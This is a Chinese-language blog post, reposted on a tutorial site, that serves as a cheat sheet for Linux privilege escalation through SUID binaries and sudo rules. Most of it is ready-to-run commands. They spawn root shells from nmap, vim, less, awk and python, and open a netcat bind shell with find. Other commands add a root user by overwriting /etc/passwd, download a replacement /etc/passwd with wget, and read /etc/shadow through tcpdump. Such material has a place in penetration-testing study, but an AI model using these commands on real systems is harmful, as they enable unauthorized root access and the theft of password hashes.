栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

Linux-suid提权

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Linux-suid提权

概论
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,会使调用者暂时获得该文件拥有者的权限,如果拥有SUID权限,那么我们就
可以利用系统中的二进制文件和工具进行root提权。
查找具有 SUID 权限位文件

下面的命令可以发现所有系统中运行的SUID可执行文件。其实更加准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件,然后将所有错误重定向到/dev/null,从而达到仅列出该用户具有访问权限的二进制文件的功能。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
-perm 表示搜索的权限
-u=s 表示查找root用户拥有的文件
-type 表示我们正在寻找的文件类型
f 表示常规文件,不是目录或特殊文件
2 表示该进程的第二个文件描述符,既stderr(标准错误)
>表示重定向
> /dev/null 是一个特殊的文件系统对象,他将丢弃写入的所有内容

当然也可以使用 sudo -l 命令,列出当前用户可执行的命令

常用提权方式 1.nmap 2.find 3.vi/vim 4.bash 5.less 6.more 7.nano 8.cp 9.wget 10.apache 11.python 12.tcpdump 13. apache 14.man 1.1 /etc/sudoers 语法
root ALL=(ALL) ALL

root 用户可以从 ALL(任何)终端执行,充当ALL(任何)用户,并运行ALL(任何)命令。第一部分指定用户,第二部分指定可充当用户,第三部分指定 sudo 可运行的命令。

liver100day ALL= /sbin/poweroff

输入liver100day用户的密码,可以 sudo 执行 poweroff 命令。

liver100day ALL = (root) NOPASSWD: /usr/bin/find

不输入密码,可以 sudo 执行 find 命令
0x02 常用提权方式

2.1 nmap

nmap版本(2.02-5.21)存在交换模式,可利用进行提权

nmap --interactive

之后执行:

nmap>!sh

msf中的模块为:

exploit/unix/local/setuid_nmap

若nmap版本较新,可使用 --script 参数:

echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
2.2 find
touch test
find test -exec whoami ;

nc 反弹 shell:

find test -exec netcat -lvp 5555 -e /bin/sh ;
2.3 vi/vim

打开vim/vi,按下ESC,输入下列语句

:set shell=/bin/sh
:shell

或者

sudo vim -c '!sh'
2.4 bash
bash -p
2.5 less
less /etc/passwd
!/bin/sh
2.6 more
more /home/pelle/myfile
!/bin/bash
2.7 cp

覆盖 /etc/shadow 或 /etc/passwd

cat /etc/passwd >passwd
openssl passwd -1 -salt hack hack123  #新建一个用户名为hack,密码为hack123的数据,对其进行加密并加入到/etc/passwd文件中
$1$hack$WTn0dk2QjNeKfl.DHOUue0
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
cp passwd /etc/passwd
su -hack
Password:

即可成功提权

2.8 mv

覆盖 /etc/shadow 或 /etc/passwd

cat /etc/passwd >passwd
openssl passwd -1 -salt hack hack123  #新建一个用户名为hack,密码为hack123的数据,对其进行加密并加入到/etc/passwd文件中
$1$hack$WTn0dk2QjNeKfl.DHOUue0
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
mv passwd /etc/passwd
su -hack
Password:
2.9 nano
nano  /etc/passwd
2.10 awk
awk 'BEGIN {system("/bin/sh")}'
2.11 man
man passwd
!/bin/bash
2.12 wget
wget http://192.168.56.1:8080/passwd -O /etc/passwd
2.13 apache

仅可查看文件,不能弹 shell:

apache2 -f /etc/shadow
2.14 tcpdump
echo $'idncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
2.15 python
python -c "import os;os.system('/bin/bash')"
后言

最近一直在学习,但是学习的东西很多很杂,于是便把自己的学习成果记录下来,便利自己,帮助他人。希望本篇文章能对你有所帮助,有错误的地方,欢迎指出!!!喜欢的话,不要忘记点赞哦!!!

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/511161.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号